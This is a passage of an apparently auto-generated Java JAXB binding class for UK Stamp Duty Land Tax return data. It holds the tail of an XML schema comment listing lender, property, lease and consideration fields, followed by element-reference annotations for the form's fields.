type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorLender2LodgeHouseNo2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorLender2LodgeAddress1" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorLender2LodgeAddress2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorLender2LodgeAddress3" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorLender2LodgePostcode" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorLender2LodgeDXNumber" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorLender2LodgeDXExchange" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorLender2Role1" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorLender2Role2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_IsPurchLender2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchLender2Name" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchLender2MDCode" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchLender2ChargeDate" type="{http://sdlt.co.uk/}DateOrEmptyType"/&gt; * &lt;element name="AP1_IsPurchLender2Represented" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="AP1_PurchLender2RepresentedBy" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchLender2LodgeName" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchLender2LodgeHouseNo" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchLender2LodgeHouseNo2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchLender2LodgeAddress1" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchLender2LodgeAddress2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchLender2LodgeAddress3" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchLender2LodgePostcode" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchLender2LodgeDXNumber" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchLender2LodgeDXExchange" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchLender2Role1" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchLender2Role2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;/choice&gt; * &lt;/restriction&gt; * &lt;/complexContent&gt; * &lt;/complexType&gt; * &lt;/element&gt; * &lt;/choice&gt; * &lt;/restriction&gt; * &lt;/complexContent&gt; * &lt;/complexType&gt; * &lt;/element&gt; * &lt;element name="SDLT3"&gt; * &lt;complexType&gt; * &lt;complexContent&gt; * &lt;restriction base="{http://www.w3.org/2001/XMLSchema}anyType"&gt; * &lt;choice maxOccurs="unbounded" minOccurs="0"&gt; * &lt;element name="SDLT3_PropertyTypeCode" type="{http://sdlt.co.uk/}EnumPropertyType"/&gt; * &lt;element name="SDLT3_PropertyLocalAuthorityCode" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT3_PropertyTitleNumber" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT3_PropertyNLPGUPRN" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT3_PropertyAddressBuildingNo" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT3_PropertyAddressPostcode" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT3_PropertyAddress1" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT3_PropertyAddress2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT3_PropertyAddress3" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT3_PropertyAddress4" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT3_PropertyUnitsHectareMetres" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT3_PropertyAreaSize" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT3_PropertyMineralRightsYesNo" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="SDLT3_PropertyPlanAttachedYesNo" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="SDLT3_InterestCreatedCode" type="{http://sdlt.co.uk/}EnumInterestType"/&gt; * &lt;element name="SDLT3_InterestCreatedCodeDetailed" type="{http://sdlt.co.uk/}EnumInterest2Type"/&gt; * &lt;element name="LTT_Country" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="LTT_LandArgiculturalYesNo" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="LTT_LandSituation" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="LTT_LandSituationYesNo" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="LTT_TotalConsideration" type="{http://sdlt.co.uk/}DecimalOrEmptyType"/&gt; * &lt;element name="LTT_MineralsRightsYesNo" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="LTT_NetPresentValue" type="{http://sdlt.co.uk/}DecimalOrEmptyType"/&gt; * &lt;element name="LTT_LandHasAddressYesNo" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="LTT_PropertyLocalAuthorityCode" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="LTT_IsLandExchangedYesNo" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="LTT_LandExchangedPostcode" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="LTT_LandExchangedBuildingNo" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="LTT_LandExchangedAddress1" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="LTT_LandExchangedAddress2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="LTT_LandExchangedAddress3" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="LTT_LandExchangedAddress4" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="LTT_LandExchangedCountry" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;/choice&gt; * &lt;/restriction&gt; * &lt;/complexContent&gt; * &lt;/complexType&gt; * &lt;/element&gt; * &lt;element name="SDLT4"&gt; * &lt;complexType&gt; * &lt;complexContent&gt; * &lt;restriction base="{http://www.w3.org/2001/XMLSchema}anyType"&gt; * &lt;choice maxOccurs="unbounded" minOccurs="0"&gt; * &lt;element name="SDLT4_ConsiderationStockYesNo" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="SDLT4_ConsiderationGoodWillYesNo" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="SDLT4_ConsiderationOtherYesNo" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="SDLT4_ConsiderationChattelsYesNo" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="SDLT4_TotalConsiderationAmount" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT4_PropertyUseOffice" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT4_PropertyUseHotel" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT4_PropertyUseShop" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT4_PropertyUseWarehouse" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT4_PropertyUseFactory" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT4_PropertyUseOther" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT4_PropertyUseOtherInd" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT4_PostTransactionRulingYesNo" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="SDLT4_IfYesHasRullingBeenFollowed" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT4_ConsiderationDependentOnFutureEventsYesNo" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="SDLT4_DeferredPaymentAgreedYesNo" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="SDLT4_PropertyMineralRightsYesNo" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="SDLT4_Purchaser1DescriptionCode" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT4_Purchaser2DescriptionCode" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT4_Purchaser3DescriptionCode" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT4_Purchaser4DescriptionCode" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT4_PropertyTypeCode" type="{http://sdlt.co.uk/}EnumPropertyType"/&gt; * &lt;element name="SDLT4_PropertySameAddressAsSDLT1" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT4_PropertyAddressPostcode" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT4_PropertyAddressBuildingNo" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT4_PropertyAddress1" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT4_PropertyAddress2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT4_PropertyAddress3" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT4_PropertyAddress4" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT4_PropertyLocalAuthorityCode" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT4_PropertyTitleNumber" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT4_PropertyNLPGUPRN" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT4_PropertyUnitsHectareMetres" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT4_PropertyAreaSize" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT4_PropertyPlanAttachedYesNo" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="SDLT4_InterestCreatedCode" type="{http://sdlt.co.uk/}EnumInterestType"/&gt; * &lt;element name="SDLT4_InterestCreatedCodeDetailed" type="{http://sdlt.co.uk/}EnumInterest2Type"/&gt; * &lt;element name="SDLT4_LeaseTypeCode" type="{http://sdlt.co.uk/}LeaseType"/&gt; * &lt;element name="SDLT4_LeaseStartDate" type="{http://sdlt.co.uk/}DateOrEmptyType"/&gt; * &lt;element name="SDLT4_LeaseEndDate" type="{http://sdlt.co.uk/}DateOrEmptyType"/&gt; * &lt;element name="SDLT4_RentFreePeriod" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT4_TotalLeasePremiumPayable" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT4_EndDateForStartingRent" type="{http://sdlt.co.uk/}DateOrEmptyType"/&gt; * &lt;element name="SDLT4_LaterRentKnownYesNo" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="SDLT4_LeaseAmountVAT" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT4_TotalLeasePremiumPaid" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT4_NetPresentValue" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT4_TotalLeasePremiumTaxPayable" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT4_TotalLeaseNPVTaxPayable" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT4_AnyTermsSurrendered" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT4_BreakClauseTypeCode" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT4_BreakClauseDate" type="{http://sdlt.co.uk/}DateOrEmptyType"/&gt; * &lt;element name="SDLT4_ConditionsOptionToRenew" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT4_ConditionsUnascertainableRent" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT4_ConditionsMarketRent" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT4_ConditionsContingentReservedRent" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT4_ConditionsTurnoverRent" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT4_PropertyRentReviewFrequency" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT4_FirstReviewDate" type="{http://sdlt.co.uk/}DateOrEmptyType"/&gt; * &lt;element name="SDLT4_ReviewClauseType" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT4_DateOfRentChange" type="{http://sdlt.co.uk/}DateOrEmptyType"/&gt; * &lt;element name="SDLT4_PropertyServiceChargeAmount" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT4_PropertyServiceChargeFrequency" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT4_ConsiderationTenant2LandlordCode1" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT4_ConsiderationTenant2LandlordCode2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT4_ConsiderationTenant2LandlordCode3" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT4_ConsiderationTenant2LandlordCode4" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT4_ConsiderationLandlord2TenantCode1" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT4_ConsiderationLandlord2TenantCode2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT4_ConsiderationLandlord2TenantCode3" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT4_ConsiderationLandlord2TenantCode4" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;/choice&gt; * &lt;/restriction&gt; * &lt;/complexContent&gt; * &lt;/complexType&gt; * &lt;/element&gt; * &lt;/choice&gt; * &lt;attribute name="sdlt" type="{http://www.w3.org/2001/XMLSchema}string" /&gt; * &lt;/restriction&gt; * &lt;/complexContent&gt; * &lt;/complexType&gt; * </pre> * * */ @XmlAccessorType(XmlAccessType.FIELD) @XmlType(name = "SDLT", namespace = "http://sdlt.co.uk/SDLT", propOrder = { "fidOrFRefOrFDateCreated" }) @XmlRootElement(name = "SDLT", namespace = "http://sdlt.co.uk/SDLT") public class SDLT { @XmlElementRefs({ @XmlElementRef(name = "F_ID", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "F_Ref", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "F_DateCreated", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "F_UserNotes", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "F_FTBExemptionYesNo", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "F_ClosedOffYesNo", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "F_StampDutyPaidYesNo", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "F_ChequeNumber", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "F_CountryCode", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "F_Confidential", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "F_UserID", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "F_UserIDs", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_UTRN", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_IRMark", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "F_SubmissionStatus", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "F_SubmissionInfo", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "F_SubmissionDate", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "F_ReturnDate", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "F_SDLTID", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_PropertyTypeCode", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_TransactionDescriptionCode", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_InterestCreatedCode", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_InterestCreatedCodeDetailed", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_DateOfTransaction", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_AnyRestrictionsYesNo", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_IfYesRestrictionDetails", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_DateOfContract", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_AnyLandExchangedYesNo", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_IfYesExchangedPostcode", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_IfYesExchangedBuildingNo", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_IfYesExchangedAddress1", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_IfYesExchangedAddress2", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_IfYesExchangedAddress3", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_IfYesExchangedAddress4", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_PursantToPreviousAgreementYesNo", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_ClaimingTaxReliefYesNo", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_IfYesTaxReliefReasonCode", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_IfYesTaxReliefCharityNo", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_IfYesTaxReliefAmount", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_TotalConsiderationIncVAT", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_PurchaserTypeCode", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_TotalConsiderationVAT", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_ConsiderationFormCode1", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_ConsiderationFormCode2", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_ConsiderationFormCode3", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_ConsiderationFormCode4", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_TransactionLinkedYesNo", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_IfYesTotalLinkedConsiderationIncVAT", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_TotalTaxDue", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_TotalTaxPaid", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_TotalTaxPaidIncPenaltyYesNo", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_LeaseTypeCode", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_LeaseStartDate", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_LeaseEndDate", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_RentFreePeriod", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_TotalAnnualRentIncVAT", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_EndDateForStartingRent", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_LaterRentKnownYesNo", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_LeaseAmountVAT", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_TotalLeasePremiumPayable", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_NetPresentValue", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_TotalLeasePremiumTaxPayable", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_TotalLeaseNPVTaxPayable", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_NumberOfPropertiesIncluded", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_PaperCertificateRemoved", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_PropertyAddressPostcode", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_PropertyAddressBuildingNo", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_PropertyAddress1", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_PropertyAddress2", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_PropertyAddress3", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_PropertyAddress4", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_PropertyLocalAuthorityCode", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_PropertyTitleNumber", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_PropertyNLPGUPRN", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_PropertyUnitsHectareMetres", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_PropertyAreaSize", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_PropertyPlanAttachedYesNo", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_TotalNumberOfVendors", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_Vendor1Title", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_Vendor1Surname", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_Vendor1FirstName1", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_Vendor1FirstName2", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_Vendor1AddressPostcode", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_Vendor1AddressBuildingNo", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_Vendor1Address1", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_Vendor1Address2", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_Vendor1Address3", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_Vendor1Address4", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_VendorsAgentFirmName", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_VendorsAgentAddressPostcode", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_VendorsAgentAddressBuildingNo", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_VendorsAgentAddress1", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_VendorsAgentAddress2", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_VendorsAgentAddress3", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_VendorsAgentAddress4", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_VendorsAgentDXNo", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_VendorsAgentDXExchange", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_VendorsAgentEmail", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_VendorsAgentReference", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_VendorsAgentTelNo", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_Vendor2Title", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_Vendor2Surname", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_Vendor2FirstName1", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_Vendor2FirstName2", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_Vendor2AddressSameYesNo", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_Vendor2AddressPostcode", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_Vendor2AddressBuildingNo", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_Vendor2Address1", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_Vendor2Address2", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_Vendor2Address3", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_Vendor2Address4", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_Purchaser1NINumber", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_Purchaser1DoB", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_Purchaser1VATRegNo", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_Purchaser1TaxRef", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT_Purchaser1CompanyNumber", namespace 